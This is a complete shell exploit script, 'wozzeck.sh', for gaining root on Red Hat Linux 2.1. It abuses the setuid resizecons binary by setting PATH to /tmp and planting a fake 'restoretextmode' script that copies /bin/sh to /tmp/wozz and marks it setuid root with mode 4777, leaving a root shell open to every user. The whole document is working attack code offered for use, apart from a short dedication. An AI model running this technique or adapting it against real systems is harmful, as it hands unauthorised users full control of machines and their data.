wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons 
# to create a suid root shell in /tmp/wozz on a 
# linux Red Hat 2.1 system.
#
# by Dave M. (davem@cmu.edu)
# 
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to 
Wozz.  Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi